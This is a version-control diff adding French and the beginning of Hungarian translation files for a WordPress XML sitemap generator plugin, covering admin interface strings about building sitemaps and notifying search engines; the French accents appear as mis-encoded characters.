+msgstr "Liste des donateurs"
+
+#: ../sitemap-ui.php:566
+msgid "Hide this list"
+msgstr "Masquer"
+
+#: ../sitemap-ui.php:569
+msgid "Thanks for your support!"
+msgstr "Merci de votre aide!"
+
+#: ../sitemap-ui.php:587
+msgid "Status"
+msgstr "Statuts"
+
+#: ../sitemap-ui.php:595
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "<a href=\"%s\">Cliquez ici</a> pour gÃ©nÃ©rer votre premier sitemap."
+
+#: ../sitemap-ui.php:601
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Dernier <a href=\"%url%\">sitemap</a> gÃ©nÃ©rÃ© le <b>%date%</b>."
+
+#: ../sitemap-ui.php:603
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Un problÃšme est survenu lors de l'Ã©criture du sitemap. VÃ©rifiez que le fichier existe et qu'il est en Ã©criture. <a href=\"%url%\">en savoir plus</a"
+
+#: ../sitemap-ui.php:610
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Dernier <a href=\"%url%\">sitemap (zip)</a> gÃ©nÃ©rÃ© le <b>%date%</b>."
+
+#: ../sitemap-ui.php:612
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Un problÃšme est survenu lors de l'Ã©criture du sitemap zippÃ©. VÃ©rifiez que le fichier existe et qu'il est en Ã©criture. <a href=\"%url%\">en savoir plus</a"
+
+#: ../sitemap-ui.php:618
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google a Ã©tÃ© <b>informÃ©</b> des changements."
+
+#: ../sitemap-ui.php:621
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Il a fallu %time% secondes pour informer Google, vous pouvez dÃ©sactivez cette fonction pour rÃ©duire la durÃ©e du processus."
+
+#: ../sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ProblÃšme pour informer Google.<a href=\"%s\">Voir le rÃ©sultat</a>"
+
+#: ../sitemap-ui.php:630
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo  a Ã©tÃ© <b>informÃ©</b> des changements."
+
+#: ../sitemap-ui.php:633
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Il a fallu %time% secondes pour informer Yahoo, vous pouvez dÃ©sactivez cette fonction pour rÃ©duire la durÃ©e du processus."
+
+#: ../sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ProblÃšme pour informer Yahoo.<a href=\"%s\">Voir le rÃ©sultat</a>"
+
+#: ../sitemap-ui.php:642
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing a Ã©tÃ© <b>informÃ©</b> des changements."
+
+#: ../sitemap-ui.php:645
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "Il a fallu %time% secondes pour informer Bing, vous pouvez dÃ©sactivez cette fonction pour rÃ©duire la durÃ©e du processus."
+
+#: ../sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "ProblÃšme pour informer Bing.<a href=\"%s\">Voir le rÃ©sultat</a>"
+
+#: ../sitemap-ui.php:654
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com a Ã©tÃ© <b>informÃ©</b> des changements."
+
+#: ../sitemap-ui.php:657
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Il a fallu %time% secondes pour informer Ask.com, vous pouvez dÃ©sactivez cette fonction pour rÃ©duire la durÃ©e du processus."
+
+#: ../sitemap-ui.php:660
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ProblÃšme pour informer Ask.com.<a href=\"%s\">Voir le rÃ©sultat</a>"
+
+#: ../sitemap-ui.php:668
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Le processus a mis environ <b>%time% secondes</b> et utilisÃ© %memory% MB de mÃ©moire."
+
+#: ../sitemap-ui.php:670
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Le processus a mis environ <b>%time% secondes</b>."
+
+#: ../sitemap-ui.php:674
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Le contenu de votre sitemap <strong>n'a pas changÃ©</strong> depuis la derniÃšre fois.  Les fichiers n'ont pas Ã©tÃ© modifiÃ©, et les moteurs de recherche n'ont pas Ã©tÃ© informÃ©."
+
+#: ../sitemap-ui.php:682
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "Le processus est encore en cours! Rechargez la page dans quelques secondes et vÃ©rifiez si quelque chose a changÃ©."
+
+#: ../sitemap-ui.php:685
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Le dernier processus a Ã©chouÃ©! Essayez d'augmenter le mÃ©moire alouÃ©e ou la durÃ©e limite des scripts PHP <a href=\"%url%\">En savoir plus</a>"
+
+#: ../sitemap-ui.php:687
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "MÃ©moire utilisÃ©e la derniÃšre fois : %memused%MB (limite du serveur : %memlimit%)"
+
+#: ../sitemap-ui.php:691
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Temps d'Ã©xÃ©cution la derniÃšre fois : %timeused% secondes (limite du serveur : %timelimit%)"
+
+#: ../sitemap-ui.php:695
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Le script s'est arrÃªtÃ© vers l'article numÃ©ro  %lastpost% (+/- 100)"
+
+#: ../sitemap-ui.php:698
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Si vous changez quelquechose sur votre serveur ou sur votre blog, vous devez <a href=\"%s\">reconstruire le sitemap</a> manuellement."
+
+#: ../sitemap-ui.php:700
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Si vous rencontrez un problÃšme vous pouvez utiliser la <a href=\"%d\">fonction de dÃ©bugage</a> pour avoir plus d'infos."
+
+#: ../sitemap-ui.php:707
+msgid "Basic Options"
+msgstr "Options de base"
+
+#: ../sitemap-ui.php:709
+msgid "Sitemap files:"
+msgstr "Type de fichiers:"
+
+#: ../sitemap-ui.php:709
+#: ../sitemap-ui.php:724
+#: ../sitemap-ui.php:744
+#: ../sitemap-ui.php:777
+msgid "Learn more"
+msgstr "En savoir plus"
+
+#: ../sitemap-ui.php:714
+msgid "Write a normal XML file (your filename)"
+msgstr "Ecrire un fichier XML normal (nom de fichier)"
+
+#: ../sitemap-ui.php:720
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Ecrire un fichier gzippÃ© (votre nom de fichier + .gz)"
+
+#: ../sitemap-ui.php:724
+msgid "Building mode:"
+msgstr "Mode de construction:"
+
+#: ../sitemap-ui.php:729
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "GÃ©nÃ©rer le sitemap lorsque le contenu du blog change"
+
+#: ../sitemap-ui.php:736
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Activer la gÃ©nÃ©ration manuel du sitemap par requÃªte GET"
+
+#: ../sitemap-ui.php:740
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Ceci vous permet de mettre Ã  jour votre sitemap si vous utilisez un outil externe de publication. Utilisez l'adresse suivante pour lancer le processus <a href=\"%1\">%1</a>. VÃ©rifiez dans le fichier log que le processus a bien fonctionnÃ©."
+
+#: ../sitemap-ui.php:744
+msgid "Update notification:"
+msgstr "Notifications:"
+
+#: ../sitemap-ui.php:748
+msgid "Notify Google about updates of your Blog"
+msgstr "Informer Google des mises Ã  jour du blog"
+
+#: ../sitemap-ui.php:749
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Pas d'inscription nÃ©cessaire, mais vous pouvez vous inscrire sur <a href=\"%s\">Google Webmaster Tools</a> pour connaÃ®tre les statistiques de passage de google"
+
+#: ../sitemap-ui.php:753
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Informer Biig des mises Ã  jour du blog"
+
+#: ../sitemap-ui.php:754
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "Pas d'inscription nÃ©cessaire, mais vous pouvez vous inscrire sur <a href=\"%s\">bing Webmaster Tools</a> pour connaÃ®tre les statistiques de passage de Bing"
+
+#: ../sitemap-ui.php:758
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Informer Ask.com des mises Ã  jour du blog"
+
+#: ../sitemap-ui.php:759
+msgid "No registration required."
+msgstr "Inscription non requise."
+
+#: ../sitemap-ui.php:763
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Informer Yahoo des mises Ã  jour du blog"
+
+#: ../sitemap-ui.php:764
+msgid "Your Application ID:"
+msgstr "Yahoo ID:"
+
+#: ../sitemap-ui.php:765
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "Vous n'avez pas de clÃ© Yahoo ?<a href=\"%s1\">Demandez en une ici</a>!</a> %s2"
+
+#: ../sitemap-ui.php:770
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "Ajouter l'URL du sitemap au fichier virtuel robots.txt"
+
+#: ../sitemap-ui.php:774
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "Le fichier virtuel robots.txt de WordPress est utilisÃ©. Il  NE DOIT PAS y avoir de vrai fichier robots.txt dans le rÃ©pertoire du blog!"
+
+#: ../sitemap-ui.php:777
+msgid "Advanced options:"
+msgstr "Options avancÃ©es:"
+
+#: ../sitemap-ui.php:780
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Limiter le nombre d'articles dans le sitemap:"
+
+#: ../sitemap-ui.php:780
+msgid "Newer posts will be included first"
+msgstr "Les nouveaux articles seront ajoutÃ©s au dÃ©but"
+
+#: ../sitemap-ui.php:783
+msgid "Try to increase the memory limit to:"
+msgstr "Essayer d'augmenter la quantitÃ© de mÃ©moire alouÃ©e:"
+
+#: ../sitemap-ui.php:783
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ex: \"4M\", \"16M\""
+
+#: ../sitemap-ui.php:786
+msgid "Try to increase the execution time limit to:"
+msgstr "Essayer d'augmenter la durÃ©e limite d'Ã©xÃ©cution du script : "
+
+#: ../sitemap-ui.php:786
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "en secondes, ex: \"60\" ou \"0\" pour illimitÃ©"
+
+#: ../sitemap-ui.php:790
+msgid "Include a XSLT stylesheet:"
+msgstr "Feuille de style XSLT:"
+
+#: ../sitemap-ui.php:791
+msgid "Full or relative URL to your .xsl file"
+msgstr "Adresse complÃšte ou relative du fichier .xsl"
+
+#: ../sitemap-ui.php:791
+msgid "Use default"
+msgstr "par dÃ©faut"
+
+#: ../sitemap-ui.php:797
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Active le mode MySQL standard. A n'utiliser que si vous avez des erreurs MySQL. (utilise plus de mÃ©moire!)"
+
+#: ../sitemap-ui.php:798
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "Passez au moins Ã  la version 2.2 de WordPress pour activer l'accÃšs MySQL rapide"
+
+#: ../sitemap-ui.php:805
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "GÃ©nÃ©rer le sitemap en arriÃšre-plan (pas d'attente lors de la sauvegarde d'un article)"
+
+#: ../sitemap-ui.php:806
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "Passez au moins Ã  la version 2.1 pour utiliser la tÃ¢che de fond."
+
+#: ../sitemap-ui.php:813
+msgid "Additional pages"
+msgstr "Pages supplÃ©mentaires"
+
+#: ../sitemap-ui.php:816
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Vous pouvez prÃ©ciser ici des adresses Ã  inclure dans le sitemap, qui n'appartiennent pas Ã  votre Blog/WordPress.<br />Par exemple, si votre domaine est www.truc.com et que votre blog est situÃ© sur www.truc.com/blog, vous pouvez choisir d'inclure la page d'accueil www.truc.com"
+
+#: ../sitemap-ui.php:818
+#: ../sitemap-ui.php:997
+#: ../sitemap-ui.php:1011
+#: ../sitemap-ui.php:1020
+msgid "Note"
+msgstr "Remarque"
+
+#: ../sitemap-ui.php:819
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Si votre weblog est dans un sous-repertoire et que vous voulez ajouter des pages qui ne sont PAS situÃ©es dans le rÃ©pertoire du blog ou un rÃ©pertoire en dessous, vous DEVEZ placer votre fichier sitemap dans le rÃ©pertoire racine (voir la section &quot;Emplacement de votre fichier sitemap&quot; de cette page)!"
+
+#: ../sitemap-ui.php:821
+#: ../sitemap-ui.php:860
+msgid "URL to the page"
+msgstr "URL de la page"
+
+#: ../sitemap-ui.php:822
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Indiquez l'URL de la page. Examples: http://www.foo.com/index.html ou www.foo.com/home "
+
+#: ../sitemap-ui.php:824
+#: ../sitemap-ui.php:861
+msgid "Priority"
+msgstr "PrioritÃ©"
+
+#: ../sitemap-ui.php:825
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "DÃ©finissez la prioritÃ© de la page par rapport aux autres pages. Par exemple, votre page d'accueil peut avoir une prioritÃ© supÃ©rieure Ã  celle des autres pages."
+
+#: ../sitemap-ui.php:827
+#: ../sitemap-ui.php:863
+msgid "Last Changed"
+msgstr "DerniÃšre modification"
+
+#: ../sitemap-ui.php:828
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Entrez la date de derniÃšre modification au format AAAA-MM-JJ (2005-12-31 par exemple) (facultatif)."
+
+#: ../sitemap-ui.php:862
+msgid "Change Frequency"
+msgstr "Modifier la frÃ©quence"
+
+#: ../sitemap-ui.php:864
+msgid "#"
+msgstr "#"
+
+#: ../sitemap-ui.php:869
+msgid "No pages defined."
+msgstr "Aucune page dÃ©finie."
+
+#: ../sitemap-ui.php:874
+msgid "Add new page"
+msgstr "Ajouter une nouvelle page"
+
+#: ../sitemap-ui.php:879
+msgid "Post Priority"
+msgstr "PrioritÃ© de l'article"
+
+#: ../sitemap-ui.php:881
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Choisissez comment la prioritÃ© de l'article est calculÃ©e:"
+
+#: ../sitemap-ui.php:883
+msgid "Do not use automatic priority calculation"
+msgstr "ne pas faire de calcul automatique"
+
+#: ../sitemap-ui.php:883
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Tous les articles auront la mÃªme prioritÃ©"
+
+#: ../sitemap-ui.php:894
+msgid "Location of your sitemap file"
+msgstr "Emplacement de votre fichier sitemap"
+
+#: ../sitemap-ui.php:897
+msgid "Automatic detection"
+msgstr "DÃ©tection automatique"
+
+#: ../sitemap-ui.php:901
+msgid "Filename of the sitemap file"
+msgstr "Nom du fichier sitemap"
+
+#: ../sitemap-ui.php:904
+msgid "Detected Path"
+msgstr "RÃ©pertoire dÃ©tectÃ©"
+
+#: ../sitemap-ui.php:904
+msgid "Detected URL"
+msgstr "URL dÃ©tectÃ©"
+
+#: ../sitemap-ui.php:909
+msgid "Custom location"
+msgstr "PersonnalisÃ©e"
+
+#: ../sitemap-ui.php:913
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Chemin absolu ou relatif vers le fichier sitemap, nom inclus."
+
+#: ../sitemap-ui.php:915
+#: ../sitemap-ui.php:924
+msgid "Example"
+msgstr "Exemple"
+
+#: ../sitemap-ui.php:922
+msgid "Complete URL to the sitemap file, including name."
+msgstr "URL complet du fichier sitemap, nom inclus."
+
+#: ../sitemap-ui.php:935
+msgid "Sitemap Content"
+msgstr "Contenu du sitemap"
+
+#: ../sitemap-ui.php:941
+msgid "Include homepage"
+msgstr "Inclure la page d'accueil"
+
+#: ../sitemap-ui.php:947
+msgid "Include posts"
+msgstr "Inclure les articles"
+
+#: ../sitemap-ui.php:953
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "Inclure les pages suivantes d'article multi-page (augmente la durÃ©e du processus et l'usage de la mÃ©moire)"
+
+#: ../sitemap-ui.php:959
+msgid "Include static pages"
+msgstr "Inclure les pages statiques"
+
+#: ../sitemap-ui.php:965
+msgid "Include categories"
+msgstr "Inclure les catÃ©gories"
+
+#: ../sitemap-ui.php:971
+msgid "Include archives"
+msgstr "Inclure les archives"
+
+#: ../sitemap-ui.php:978
+msgid "Include tag pages"
+msgstr "Inclure les pages tags"
+
+#: ../sitemap-ui.php:985
+msgid "Include author pages"
+msgstr "Inclure les pages Auteur"
+
+#: ../sitemap-ui.php:993
+msgid "Excluded items"
+msgstr "DonnÃ©es Ã  exclure"
+
+#: ../sitemap-ui.php:995
+msgid "Excluded categories"
+msgstr "CatÃ©gories exclues"
+
+#: ../sitemap-ui.php:997
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "L'utilisation de cette fonction augmente la durÃ©e et la mÃ©moire utilisÃ©e!"
+
+#: ../sitemap-ui.php:1004
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "Cette fonction requiert au moins WordPress 2.5.1, vous utilisez %s"
+
+#: ../sitemap-ui.php:1007
+msgid "Exclude posts"
+msgstr "EXclure des articles"
+
+#: ../sitemap-ui.php:1009
+msgid "Exclude the following posts or pages:"
+msgstr "Exclure les articles ou pages suivants:"
+
+#: ../sitemap-ui.php:1009
+msgid "List of IDs, separated by comma"
+msgstr "liste d'ID, sÃ©parÃ©s par une virgule"
+
+#: ../sitemap-ui.php:1011
+msgid "Child posts won't be excluded automatically!"
+msgstr "Les sous-pages ne seront pas automatiquement exclus!"
+
+#: ../sitemap-ui.php:1017
+msgid "Change frequencies"
+msgstr "Modifier les frÃ©quences"
+
+#: ../sitemap-ui.php:1021
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Veuillez noter que la valeur de ce champ est considÃ©rÃ©e comme un indice et non une commande. MÃªme si les robots de moteurs de recherche prennent en compte cette information, il peuvent parcourir les pages marquÃ©es &quot;toutes les heures&quot; moins frÃ©quemment que cela, et peuvent parcourir les pages marquÃ©es &quot;une fois par an&quot; plus frÃ©quemment que cela. Il est aussi probable que les robots parcourent de faÃ§on pÃ©riodique les pages marquÃ©es &quot;jamais&quot; afin de prendre en compte les modifications inattendues de ces pages."
+
+#: ../sitemap-ui.php:1027
+#: ../sitemap-ui.php:1084
+msgid "Homepage"
+msgstr "Page d'accueil"
+
+#: ../sitemap-ui.php:1033
+msgid "Posts"
+msgstr "Articles"
+
+#: ../sitemap-ui.php:1039
+#: ../sitemap-ui.php:1102
+msgid "Static pages"
+msgstr "Pages statiques"
+
+#: ../sitemap-ui.php:1045
+#: ../sitemap-ui.php:1108
+msgid "Categories"
+msgstr "CatÃ©gories"
+
+#: ../sitemap-ui.php:1051
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "L'archive du mois en cours (devrait correspondre Ã  votre page d'accueil)"
+
+#: ../sitemap-ui.php:1057
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Archives antÃ©rieures (ne change que lorsque vous modifier un ancien article)"
+
+#: ../sitemap-ui.php:1064
+#: ../sitemap-ui.php:1121
+msgid "Tag pages"
+msgstr "Pages Tag"
+
+#: ../sitemap-ui.php:1071
+#: ../sitemap-ui.php:1128
+msgid "Author pages"
+msgstr "Pages Auteur"
+
+#: ../sitemap-ui.php:1079
+msgid "Priorities"
+msgstr "PrioritÃ©s"
+
+#: ../sitemap-ui.php:1090
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Articles (si le calcul automatique est dÃ©sactivÃ©)"
+
+#: ../sitemap-ui.php:1096
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "PrioritÃ© minimum des articles (MÃªme si le calcul automatique est activÃ©)"
+
+#: ../sitemap-ui.php:1114
+msgid "Archives"
+msgstr "Archives"
+
+#: ../sitemap-ui.php:1139
+msgid "Update options"
+msgstr "Enregistrer les changements"
+
+#: ../sitemap-ui.php:1140
+msgid "Reset options"
+msgstr "RÃ©initialiser les options"
+
+#: ../sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Nombre de commentaires"
+
+#: ../sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Utilise le nombre de commentaires pour calculer la prioritÃ©"
+
+#: ../sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Moyenne des commentaires"
+
+#: ../sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Utilise la moyenne des commentaires pour calculer la prioritÃ©"
+
+#: ../sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+#: ../sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Utiliser le plugin <a href=\"%1\">Popularity Contest</a> d'<a href=\"%2\">Alex King</a>. Voir <a href=\"%3\">RÃ©glages</a> et <a href=\"%4\">Articles les plus populaires</a>"
+
+#: ../sitemap-core.php:1187
+msgid "Always"
+msgstr "Toujours"
+
+#: ../sitemap-core.php:1188
+msgid "Hourly"
+msgstr "Une fois par heure"
+
+#: ../sitemap-core.php:1189
+msgid "Daily"
+msgstr "Une fois par jour"
+
+#: ../sitemap-core.php:1190
+msgid "Weekly"
+msgstr "une fois par semaine"
+
+#: ../sitemap-core.php:1191
+msgid "Monthly"
+msgstr "une fois par mois"
+
+#: ../sitemap-core.php:1192
+msgid "Yearly"
+msgstr "une fois par an"
+
+#: ../sitemap-core.php:1193
+msgid "Never"
+msgstr "Jamais"
+
+#~ msgid ""
+#~ "It took %time% seconds to notify MSN.com, maybe you want to disable this "
+#~ "feature to reduce the building time."
+#~ msgstr ""
+#~ "Il a fallu %time% secondes pour informer MSN, vous pouvez dÃ©sactivez "
+#~ "cette fonction pour rÃ©duire la durÃ©e du processus."
+#~ msgid ""
+#~ "There was a problem while notifying MSN.com. <a href=\"%s\">View result</"
+#~ "a>"
+#~ msgstr "ProblÃšme pour informer MSN.<a href=\"%s\">Voir le rÃ©sultat</a>"
+#~ msgid ""
+#~ "No registration required, but you can join the <a href=\"%s\">MSN Live "
+#~ "Webmaster Tools</a> to check crawling statistics."
+#~ msgstr ""
+#~ "Pas d'inscription nÃ©cessaire, mais vous pouvez vous inscrire sur <a href="
+#~ "\"%s\">MSN Live Webmaster Tools</a> pour connaÃ®tre les statistiques de "
+#~ "passage de google"
+#~ msgid "XML-Sitemap Generator"
+#~ msgstr "XML-Sitemap Generator"
+#~ msgid "XML-Sitemap"
+#~ msgstr "XML-Sitemap"
+#~ msgid "Sitemap FAQ"
+#~ msgstr "Ma FAQ"
+#~ msgid "<a href=\"%s\">Robots.txt</a> file saved"
+#~ msgstr "<a href=\"%s\">Robots.txt</a> sauvegardÃ©"
+#~ msgid "Error while saving Robots.txt file"
+#~ msgstr "Erreur lors de l'enregistrement du fichier robots.txt"
+#~ msgid ""
+#~ "Modify or create %s file in blog root which contains the sitemap location."
+#~ msgstr ""
+#~ "Modifier ou crÃ©er le fichier %s Ã  la racine du blog qui contient "
+#~ "l'adresse du sitemap"
+#~ msgid "File permissions: "
+#~ msgstr "Permission :"
+#~ msgid "OK, robots.txt is writable."
+#~ msgstr "OK, robots.txt est en Ã©criture"
+#~ msgid "Error, robots.txt is not writable."
+#~ msgstr "Erreur, robots.txt n'est pas en Ã©criture"
+#~ msgid "OK, robots.txt doesn't exist but the directory is writable."
+#~ msgstr "OK, robots.txt n'existe pas mais peut Ãªtre crÃ©Ã©"
+#~ msgid "Error, robots.txt doesn't exist and the directory is not writable"
+#~ msgstr "Erreur, robots.txt n'existe pas et ne peut Ãªtre crÃ©Ã©."
+#~ msgid "Manual location"
+#~ msgstr "Emplacement manuel"
+#~ msgid "OR"
+#~ msgstr "OU"
+#~ msgid "Error"
+#~ msgstr "Erreur"
+#~ msgid ""
+#~ "A new page was added. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr ""
+#~ "Une nouvelle page a Ã©tÃ© ajoutÃ©e. Cliquez sur &quot;Enregistrer les "
+#~ "modifications&quot; pour enregistrer vos modifications"
+#~ msgid ""
+#~ "The page was deleted. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr ""
+#~ "La page a Ã©tÃ© effacÃ©e. Cliquez sur &quot;Entregistrer les "
+#~ "modifications&quot; pour enregistrer vos modifications."
+#~ msgid "You changes have been cleared."
+#~ msgstr "Vos modifications ont Ã©tÃ© remises Ã  zero."
+#~ msgid "Manual rebuild"
+#~ msgstr "Reconstruction manuelle"
+#~ msgid ""
+#~ "If you want to build the sitemap without editing a post, click on here!"
+#~ msgstr ""
+#~ "Si vous voulez construire le fichier sitemap sans modifier un article, "
+#~ "cliquez ici!"
+#~ msgid "Rebuild Sitemap"
+#~ msgstr "Reconstruire le fichier Sitemap"
+#~ msgid "Save page changes"
+#~ msgstr "Enregistrer les modifications de page"
+#~ msgid "Undo all page changes"
+#~ msgstr "Annuler toutes les modifications de page"
+#~ msgid "Delete marked page"
+#~ msgstr "Effacer la page marquÃ©e"
+#~ msgid ""
+#~ "Enable automatic priority calculation for posts based on comment count"
+#~ msgstr ""
+#~ "Autoriser le calcul de prioritÃ© automatique pour les articles en fonction "
+#~ "du nombre de commentaires"
+#~ msgid "Write debug comments"
+#~ msgstr "Ecrire des commentaires de debug"
+#~ msgid "Auto-Ping Google Sitemaps"
+#~ msgstr "Effectuer un ping automatique de Google Sitemaps"
+#~ msgid "This option will automatically tell Google about changes."
+#~ msgstr ""
+#~ "Cette option prÃ©viendra automatiquement Google lors de modifications."
+#~ msgid "Includings"
+#~ msgstr "Inclusions"
+#~ msgid "Informations and support"
+#~ msgstr "Informations et support"
+#~ msgid ""
+#~ "Check %s for updates and comment there if you have any problems / "
+#~ "questions / suggestions."
+#~ msgstr ""
+#~ "Allez sur %s pour les mises Ã  jour et pour poster un commentaire en cas "
+#~ "de probleme / question / suggestion."
+#~ msgid "URL:"
+#~ msgstr "URL:"
+#~ msgid "Path:"
+#~ msgstr "Chemin:"
+#~ msgid "Could not write into %s"
+#~ msgstr "Impossible d'Ã©crire dans %s"
+#~ msgid "Successfully built sitemap file:"
+#~ msgstr "Sitemap gÃ©nÃ©rÃ© avec succÃšs:"
+#~ msgid "Successfully built gzipped sitemap file:"
+#~ msgstr "Sitemap gzippÃ© gÃ©nÃ©rÃ© avec succÃšs:"
+#~ msgid "Could not ping to Google at %s"
+#~ msgstr "Ping de Google impossible Ã  %s"
+#~ msgid "Successfully pinged Google at %s"
+#~ msgstr "Ping de Google rÃ©ussi Ã  %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-hu_HU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-hu_HU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-hu_HU.po	(revision 44)
@@ -0,0 +1,596 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 2502 2005-07-03 20:50:38Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2007-11-05 23:44+0100\n"
+"Last-Translator: Cenzi <lupus.lupine@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "Kommentek szÃ¡molÃ¡sa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
